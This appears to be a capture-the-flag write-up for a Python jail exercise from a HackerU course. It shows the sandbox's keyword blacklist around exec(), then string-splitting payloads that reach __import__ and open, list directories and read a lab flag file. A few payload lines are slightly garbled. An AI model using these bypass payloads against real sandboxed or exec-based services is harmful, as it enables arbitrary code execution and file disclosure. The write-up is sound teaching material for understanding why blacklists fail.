Python_jail_simple2

```
def main():
    text = input('>>> ')
    print(text)
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write',
'subprocess']:
        if keyword in text:
            print('No!!!')
            print(f'{keyword} is banned!')
            return
    else:
        exec(text)
    return


GREEN = '\033[92m'
WARNING = '\033[93m'
ERROR = '\033[91m'
ENDC = '\033[0m'

if __name__ == '__main__':
    print(
        f'{WARNING}Привет! Жестокие люди из HackerU посадили тебя в
песочницу с питоном\nтебя выпустят из песочницы, если ты сдашь флаг!
\nтебе еще повезло: вот код программы:{ENDC}')
    print('-' * 200)
    print(open(__file__, encoding='utf-8').read(1063))
    print('-' * 200)
    print('вводи свои догадки:')

    while True:

        try:
            main()
        except Exception as e:
            print(f"Ой! что-то сломалось!\n{ERROR}{e}{ENDC}")

            1) FIND FLAG FILE

>>>print(__builtins__.__dict__['__imp''ort__'])
<built-in function __import__>
```

```
>>> print(__builtins__.__dict__['__imp''ort__']('o'+'s'))
<module 'os' from 'C:\\Program Files\\Python39\\lib\\os.py'>

>>> print(__builtins__.__dict__['__imp''ort__']('o'+'s').listdir())
['ftp_brut.py', 'ftp_brute.py', 'ftp_client.py', 'hard_sandbox.py', 'passwords.txt',
'simple_sanbox.py', 'simple_sanbox1.py', 'ssh_brute.py']

>>>print(__builtins__.__dict__['__imp''ort__']('o'+'s').listdir("../"))
['.idea', 'Byte_code', 'Expiriment', 'flag.txt', 'Leson1', 'Leson2', 'Leson3',
'Leson4', 'Leson5', 'Leson6', 'Lesson10', 'Lesson7', 'Lesson8', 'Lesson9',
'py_jail.py', 'secretnij.py', 'venv', '__pycache__']
```

2) READ FLAG HARD WAY!!!

```
>>>f=__builtins__.__dict__["op"+"en"]("../flag.txt","r",encoding='utf-8');print(f)
<_io.TextIOWrapper name='../flag.txt' mode='r' encoding='utf-8'>


>>> r = __builtins__.__dict__['__imp''ort__']('io');print(dir(r))
['BlockingIOError', 'BufferedIOBase', 'BufferedRWPair', 'BufferedRandom',
'BufferedReader', 'BufferedWriter', 'BytesIO', 'DEFAULT_BUFFER_SIZE', 'FileIO',
'IOBase', 'IncrementalNewlineDecoder', 'OpenWrapper', 'RawIOBase',
'SEEK_CUR', 'SEEK_END', 'SEEK_SET', 'StringIO', 'TextIOBase', 'TextIOWrapper',
'UnsupportedOperation', '_WindowsConsoleIO', '__all__', '__author__',
'__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__',
'__package__', '__spec__', '_io', 'abc', 'open', 'open_code']

a =['TextIOWrapper', 'UnsupportedOperation', '_WindowsConsoleIO', '__all__',
'__author__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__',
'__name__', '__package__', '__spec__', '_io', 'abc', 'open', 'open_code']
len(a)
17

>>>r = __builtins__.__dict__['__imp''ort__']('io');re = getattr(r,(dir(r)-
[-17]));print(re)
<class '_io.TextIOWrapper'>

>>>r = __builtins__.__dict__['__imp''ort__']('io');re = getattr(r,(dir(r)-
[-17]));print(dir(re))
['_CHUNK_SIZE', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__',
'__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__',
'__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__ne__',
'__new__', '__next__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '_checkClosed', '_checkReadable',
```

'_checkSeekable', '_checkWritable', '_finalizing', 'buffer', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'line_buffering', 'name', 'newlines', 'read', 'readable', 'readline', 'readlines', 'reconfigure', 'seek', 'seekable', 'tell', 'truncate', 'writable', 'write', 'write_through', 'writelines']

a = ['read', 'readable', 'readline', 'readlines', 'reconfigure', 'seek', 'seekable', 'tell', 'truncate', 'writable', 'write', 'write_through', 'writelines']
len(a)
13

>>> r = __builtins__.__dict__['__imp''ort__']('io');re = getattr(r,(dir(r)-[-17]));rea=getattr(re,dir(re)[-13]);f=__builtins__.__dict__["op"+"en"]("../-flag.txt","r",encoding='utf-8');print(f);print(rea)
<_io.TextIOWrapper name='../flag.txt' mode='r' encoding='utf-8'>
<method 'read' of '_io.TextIOWrapper' objects>

>>> r = __builtins__.__dict__['__imp''ort__']('io');re = getattr(r,(dir(r)-[-17]));rea=getattr(re,dir(re)[-13]);f=__builtins__.__dict__["op"+"en"]("../-flag.txt","r",encoding='utf-8');print(rea(f))
jklhg-FLAG-lkjhgkkfgh

3) READ FLAG EASY WAY!!!!

getattr(a,b) get attribut with name/value <b> from dictionary/list <a>

<a> __builtins__.__dict__["op"+"en"]("../flag.txt","r",encoding='utf-8') ---
<_io.TextIOWrapper name='../flag.txt' mode='r' encoding='utf-8'>
>>> print(type(__builtins__.__dict__["op"+"en"]("../-flag.txt","r",encoding='utf-8')))

<class '_io.TextIOWrapper'>

>>> print(dir(__builtins__.__dict__["op"+"en"]("../-flag.txt","r",encoding='utf-8')))

['_CHUNK_SIZE', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__ne__', '__new__', '__next__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_checkClosed', '_checkReadable', '_checkSeekable', '_checkWritable', '_finalizing', 'buffer', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'line_buffering', 'mode', 'name', 'newlines', 'read', 'readable', 'readline', 'readlines', 'reconfigure', 'seek', 'seekable', 'tell', 'truncate',

'writable', 'write', 'write_through', 'writelines']

getattr(__builtins__.__dict__["op"+"en"]("../-flag.txt","r",encoding='utf-8'),"re"+"ad")

>>> print(getattr(__builtins__.__dict__["op"+"en"]("../-flag.txt","r",encoding='utf-8'),"re"+"ad")())
jklhg-FLAG-lkjhgkkfgh
>>>